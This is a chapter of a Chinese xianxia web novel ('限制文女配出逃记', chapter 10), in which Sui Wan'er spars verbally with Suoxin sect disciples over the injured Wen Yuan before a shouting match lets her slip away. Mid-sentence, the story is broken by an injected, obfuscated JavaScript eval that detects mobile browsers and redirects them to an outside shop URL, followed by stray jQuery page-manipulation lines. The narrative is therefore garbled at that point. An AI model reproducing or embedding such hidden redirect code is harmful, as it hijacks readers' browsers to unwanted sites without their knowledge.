10. 第十话 团战
作品:《限制文女配出逃记》 听到这二位的话,睢婉儿可是当场笑了出来。甚至不是讥讽嘲弄的笑,也不是觉得可笑,而是发自内心感谢的笑——这两个人的下限可真是超出了人的想象力,可这对睢婉儿来说,却并不是什么坏事。
又蠢又坏的敌人怎么会可怕?可怕的是一肚子坏水还有脑子的。
睢婉儿可完全不怕这些人说话难听,她还就怕他们说话不够难听呢,即便是像云凡那样至少做一做表面工夫的,睢婉儿都不好把话说的太过分,倒是廖芸娴和黎铭德这二位,可真是自己送上门来的一对蠢货。
可还没等睢婉儿说话还击呢,仅仅只是她那嫣然一笑,竟就刺激到了这二人,廖芸娴立马瞪着一双眸子呵道:“你笑什么?你这恶人做得还挺得意是不是?好个玉鼎宗,是专教人不知廉耻、为非作歹的是吗?”
睢婉儿还没开口,闻渊倒是早就听不下去了,禁不住压着声音、咬着压根说了句:“师兄师姐,你们不要欺人太甚!”
闻渊不开口还好,他一开口,可算是又给他们找到了个好由头,黎铭德当即指着闻渊道:“哎,好你个吃里扒外的狗东西,你不合同门站在一起就算了,竟还帮着一个外人说话来违抗师门;你帮着外人说话就算了,偏偏还是玉鼎宗的人,你现在是要欺师灭祖、背叛师门吗?”
好家伙,这番话的荒谬程度不亚于人家走路摔了个跟头他说这一摔直接要把地球给摔裂开了、世界要毁灭了。
睢婉儿扶着闻渊手臂的手偷偷掐了他一下,正要还口的闻渊瞬间顿住,悄悄看向睢婉儿。
睢婉儿笑着说道:“方才这位师姐的话真是有趣,我倒是也纳闷呢,难不成,锁心宗竟是专教人欺软怕硬、颠倒黑白、搬弄是非的?”
“你说什么?”廖芸娴和黎铭德异口同声。
看得出来,这二位倒是默契十足、步调一致。
睢婉儿轻轻扯了扯嘴角,接着从容开口道:“这位师兄就更有意思了,空口白牙地当面扯谎不说,看到同门不同宗的女子便立马想到男女之事,偏偏还立马想到□□里下三路那点事,想象力简直比话本还丰富、比说书的还离谱,也不知究竟是这位师兄自个儿‘天赋异禀’‘想象出众’,还是锁心宗教得好。”
睢婉儿这么一番话,直接将话题拉回到了前面去,几乎是直接无视了方才黎铭德对闻渊的那番指责,也将话题的重点从闻渊的身上又拉回到了自己和门派之上。
哼,要打架,那自然是使用自己最擅长的套路才行,打嘴仗也自然是要将对方拉入自己擅长的领域才好。
若是话题落在闻渊身上,那便成了他们锁心宗门派内部之事,即便旁人看不过眼,便是要打抱不平,那也有“多管闲事”之嫌。可话题若是落在睢婉儿身上,那可大不一样。
而睢婉儿这番话说出后,在场脸色最难堪的甚至不是黎铭德本人,而是……身为大师兄的云凡。
可黎铭德本人也没好到到哪儿去,立马又说道:“好你个玉鼎宗的荡丨妇,竟然敢凭空污蔑!今日我便要看看,到底是你那牙尖嘴利,还是我这把剑锋利!”
啧啧,这就直接拔剑了?那不摆明了是嘴仗打不过直接大破防吗?可真是够难看的。
睢婉儿禁不住翻了个白眼,当场露出一脸鄙夷神色。
叫他一声“师兄”不过是处于相互之间并不熟识的道友之间的礼貌称呼罢了,他还真把自己当个角色了。
即便这会儿睢婉儿压根就不知道他是谁,也并不了解他实力如何,她也完全不虚——她可是玉鼎宗位次第四的弟子,要是认真起来,她自认武艺绝不逊于任何同门,哪怕是真要和亲哥大师兄睢浩然一较高下,她也绝对不虚!
但云凡这个大师兄在场,自然不可能眼看着他们真打起来,更不可能眼睁睁地看着本门师弟对其他门派的一个女子先动手。这要是传出去,他们锁心宗的名声还要不要了?
云凡立马出手将黎铭德给按住,并直接将他拦在身后,皱着眉头对他使了个眼色后,云凡又转过头来,面带歉意地对睢婉儿说:“这位师妹,方才都是我锁心宗的师弟师妹不对,我这大师兄替他们向你赔个不是,还望你能海涵宽恕。”
睢婉儿冷哼一声,她倒是不怕直球攻击的,最怕这种道貌岸然擅长虚与委蛇的,正所谓“伸手不打笑脸人”,他一旦摆出谦卑礼貌的态度,她便也不好借题发挥。
她倒是真希望黎铭德真挥剑砍杀过来呢,她正好借机替自己出口气,也替闻渊教训教训他这狂妄自大、嘴上没有把门的同门师兄。
“哼,这位师兄,你若是当真在乎门派名声,还想维护同门之谊,那你下次最好能在他们口出恶言败坏门派名声之前先把他们的嘴巴给堵上才好,否则,你说这恶言既出,可就如同覆水难收,话都已经说完了,即便你这大师兄出面替他们道歉又有什么用呢?门派的名声都已经被他们给败坏完了。”
睢婉儿这番话依然感觉有些咄咄逼人,但这可都已经是她斟酌优化过的“和谐版本”了,自认已经相当礼貌和善。
眼看着大师兄低声下气,竟还被玉鼎宗的一个“小女子”这样教训,廖芸娴和黎铭德自然看不过去,又要冲过来对着睢婉儿大吼大叫,但这一次云凡倒是真先预判了他们的行为,立马将他们拦住,并对两人又使了个眼色。
没想到他这大师兄倒还真有些威严在,仅仅是一个眼神,便将刚才如同要吃人似的两人的气势瞬间给压灭了下去,两人瞬间偃旗息鼓低下头,也不再多话。
而云凡则很快转过头,又对睢婉儿道:“师妹说的是,都是我这大师兄做的不好,这种事,下次一定不会再有。”
呵,看吧,他分明能约束师弟师妹,是个颇有威严、能震慑同门的大弟子。
可既然如此,竟然还能有闻渊被欺侮霸凌到快要死了的弟子在,这不显得更奇怪了?
这会儿睢婉儿直接怀疑到云凡头上了,该不会所有同门之中,真正最看闻渊不顺眼、始作俑者的那个霸凌头子,其实就是这位大师兄吧?
可既然他态度都已经这么谦卑了,睢婉儿也不好还揪着刚才的话题不放,更没法让再借题发挥,直接让他惩治那两人。
不过,从一开始,主动挑事的人也并不是睢婉儿,而正是云凡身后的那二位,睢婉儿和闻渊只是不巧经过了这里而已。
睢婉儿还没被吵架给弄昏了头,很快开口道:“既然如此,师兄还带着两位同门挡在我们面前做什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099389|195698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?难不成这条路还不给我们走了?”
云凡讪然一笑:“我们自然不是那意思,不过,还请师妹将闻渊留下,毕竟他是本门弟子,还是留给我们这些同门照顾更为妥当。这虚界凶险,师妹一个弱女子,带着他也多有不便。”
睢婉儿看向闻渊,用目光来询问他的意思。
但倒也不必闻渊回答,答案也早就已经在他脸上写的分明——他脸上分明就写着一百个不愿意,这会儿他更是有些气恼地将视线别到了一边去。
睢婉儿将视线转回来,便对云凡道:“那可不成,我发现他的时候,他可是眼瞅着就要死了,就剩一口气没散而已。那时候怎么不见你们这帮相亲相爱的好同门来珍重照顾这位师弟呢?这会儿好了,我耗费了那么多的灵力好不容易才把他给救活了,你们竟然直接来摘桃子了,要点脸成不?”
这会儿云凡几人显然完全不能理解睢婉儿的态度——怎么看她带着闻渊都不是明智之选,且她和闻渊非亲非故,才刚认识没多久,也不至于有什么多深厚的感情吧?怎么就非得要带着他了?
云凡只好露出个尴尬而不失礼貌的笑容,又开口道:“那师妹的意思是?”
“我方才不是已经说的很明白了吗,这人是我就的,他的命现在就是我的了,我想怎么样就怎么样,你们管不着。”
但睢婉儿看着云凡的脸色,却能感觉到,这个人分明就不想放走闻渊。
“婉儿师姐,婉儿师姐!”
两边还在僵持着,一个婉转如莺啼的声音忽然远远地传来,并迅速靠近。
在这种时候忽然听到这个声音,睢婉儿的心底竟生出一种莫名的救赎感,不管怎么说,能打破僵局的人总算是来了。
很快,乔歆澜便一阵风似的吹到了睢婉儿面前,还顺带着带来了一串男人。一行人看着这架势,即便不问也知道肯定是因为闻渊。
梁海立马抓住这大好机会嘲讽道:“哼,睢婉儿,看看你干的好事,偏偏就救了个最不该救的人,这下好了,什么蚊虫鼠蚁都给你招来了。”
啧啧,不愧是嘴上淬了毒的人,说话就是难听。
果然锁心宗的三人立马就被攻击到了,这哪能忍,立马就扯开嗓门指着梁海骂了起来。
眼看着锁心宗的人非但不知感恩,竟还说话那么难听,竟然还能那么理直气壮地骂人,这边的男人们怎么忍得了?也扯开嗓门和对面骂了起来。
他们那边三个人,嘴里灌了屎的有两个,但这边脸上长了厕所的男人可是有足足八个,怎么说都没有示弱和退让的理由。
睢婉儿怎样倒是无所谓,可门派的名声他们必须得维护。
这场面可是瞬间热闹了起来:这边两人战力不俗,这边的八人更是不甘示弱,这场面简直如同两排投粪机,在互相投粪,哪怕是不小心听进去两句,都感觉自己的耳朵脏了……
睢婉儿怎么可能错过这大好机会?她赶紧趁着两边骂战正酣带着闻渊开溜。
但还没走两步,乔歆澜便又追了过来。
“婉儿师姐,好不容易又找到了你,你就这么走了吗?你一个人带着个伤者真的很危险,不如还是和大家一起吧,大家之间好歹有个照应。”

